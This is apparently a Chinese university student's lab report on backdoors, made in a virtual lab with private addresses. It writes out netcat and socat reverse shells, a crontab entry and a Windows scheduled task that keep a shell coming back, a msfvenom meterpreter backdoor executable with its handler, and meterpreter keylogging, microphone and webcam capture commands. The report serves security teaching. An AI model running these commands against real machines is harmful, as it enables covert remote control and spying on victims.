2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践
基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
下载免费应用的时候会有绑定木马。
浏览某些网页时会有内置的木马程序。 - 例举你知道的后门如何启动起来(win及linux)的方式?
Windows:设置为开机自启动、用户直接执行带有后门的可执行文件
Linux:通过crontab功能将后门设为定时启动;也可以通过对正常软件绑定注入shellcode - Meterpreter有哪些给你映像深刻的功能?
我认为是截屏功能,能随时查看被访问主机的操作 如何发现自己有系统有没有被安装后门?
定期查杀木马。netcat的熟悉
一、win7获取 linux 的shell
1.首先在win7虚拟机开启监听ncat.exe -l -p 5317
2.Linux反弹连接win10 nc 192.168.1.104 5317 -e /bin/sh
此处IP为win10的ip
3.Windows成功获得kali的shell
二、Linux获得Windows Shell
1.在kali中使用ifconfig
查看IP
2.打开监听nc -l -p 5317
3.在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.1.105 5317
4.kali成功获得Windows的命令提示
三、使用nc传输数据
1.Windows下监听5317
端口,ncat.exe -l 5317
2.kali反弹连接到Windows的5317
端口,nc 192.168.1.104 5317
3.连接建立成功,双方可以相互传输数据
四、使用nc传输文件
1.Windows下监听5317
端口,并把收到的数据保存到file1.out
中,ncat.exe -l 5317 > file1out
2.kali反弹连接到Windows的5317
端口,nc 192.168.1.104 5317 < file1.in
3.连接建立成功,Win可以收到kali发来的文件。
实验内容
一、使用netcat获取主机操作Shell,cron启动
在Windows系统下,监听
5317
端口
- 在Kali环境下,用
crontab -e
指令编辑一条定时任务,(crontab指令增加一条定时任务,"-e"表示编辑)选择编辑器时选择3
(vim) 在最后一行添加
26 * * * * /bin/netcat 192.168.1.104 5317 -e /bin/sh
,意思是在每个小时的第26分钟反向连接Windows主机的5317端口。
效果如下:
二、使用socat获取主机操作Shell, 任务计划启动
在Windows7系统下,打开计算机管理,创建任务,填写任务名称后
20165317
,新建一个触发器,设为工作站锁定时
。
在编辑操作中选择你的socat.exe文件的路径,在添加参数一栏填写
tcp-listen:5317 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5317,同时把cmd.exe的stderr重定向到stdout上
win+L
或者右键运行,然后用kali输入socat - tcp:192.168.1.104:5317
获得成功
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
通过在kali中输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 -f exe > 20165317_backdoor.exe
,IP地址为LinuxIP,生成了后门程序20165317_backdoor.exe
在win7中监听
ncat.exe -l 5317 > 20165317_backdoor.exe
在Linux中输入
nc 192.168.1.104 5317 < 20165317_backdoor.exe
在Kali上使用msfconsole指令进入msf控制台
- 输入
use exploit/multi/handler
使用监听模块,设置payload set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payloadset LHOST 192.168.1.105
,这里用的是LinuxIP,和生成后门程序时指定的IP相同set LPORT 5317
,同样要使用相同的端口
设置完成后,执行监听
在win7上运行后门程序,并且在kali得到了远程控制的shell
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用
record_mic
指令可以截获一段音频,可以用-d
选项设置录制时间
使用
webcam_snap
指令可以使用摄像头进行拍照(由于使用vbox无法使用摄像头,所以并没有抓取到照片。
使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
心得体会
因为参考了学长学姐和已经完成的同学的博客,本次实验并没有遇到特别多的困难,更加深刻的体会到安全的重要性
2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...
- 2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践 1.基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 下载自己不熟悉的软件时含有病毒. 网络钓鱼, ...
- 2018-2019-2 网络对抗技术 20165236 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165236 Exp2 后门原理与实践 一.实验内容 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
随机推荐
- Linux进程组调度机制分析【转】
转自:http://oenhan.com/task-group-sched 又碰到一个神奇的进程调度问题,在系统重启过程中,发现系统挂住了,过了30s后才重新复位,真正系统复位的原因是硬件看门狗重启的 ...
- python正则表达式--编译正则表达式re.compile
编译正则表达式-- re.compile 使用re的一般步骤是先将正则表达式的字符串形 式编译为pattern实例,然后使用pattern实例处理文本并获取匹配结果(一个Match实例(值为True) ...
- javascript中数组的方法
数组的方法 1.concat():连接两个或多个数组 2.indexOf(arg): 查找数组中的arg元素,如果没有,则返回-1,如果有,则返回该元素的最小下标 lastIndexOf(ar ...
- Windows安装activemq
1.Windows下载解压就可以了,官网:http://activemq.apache.org/ 8161查看端口 61616消息服务端口 2.浏览器访问localhost:8161测试 3.可以在c ...
- js的逆向解析
过程: 知道如何寻找登录的接口 知道如何确定js的位置 知道如何观察js的执行过程 知道js的执行方法 1. 确定网站的登录的接口登录的form表单中action对应的url地址通过抓包可以发现,在这 ...
- @PathVariable出现点号"."时导致路径参数截断获取不全的解决办法
@PathVariable出现点号"."时导致路径参数截断获取不全的解决办法 比如,我路径是/test/{name},name的值是1.2.3.4,后台用@PathVariable ...
- Expression Trees 参数简化查询
ASP.NET MVC 引入了 ModelBinder 技术,让我们可以在 Action 中以强类型参数的形式接收 Request 中的数据,极大的方便了我们的编程,提高了生产力.在查询 Action ...
- SQL反模式学习笔记12 存储图片或其他多媒体大文件
目标:存储图片或其他多媒体大文件 反模式:图片存储在数据库外的文件系统中,数据库表中存储文件的对应的路径和名称. 缺点: 1.文件不支持Delete操作.使用SQL语句删除一条记录时,对应的文 ...
- JWT( JSON Web Token)
参考 https://laravelacademy.org/post/9469.html 三部分组成,头部.载荷与签名 头部 把下面的基本信息base64 加密生成头部信息 { "typ& ...
- 思维导图工具XMind
思维导图工具XMind XMind简单介绍 官网地址:https://www.xmind.cn/ XMind 是一个全功能的思维导图和头脑风暴软件,为激发灵感和创意而生.作为一款有效提升工作和生活效率 ...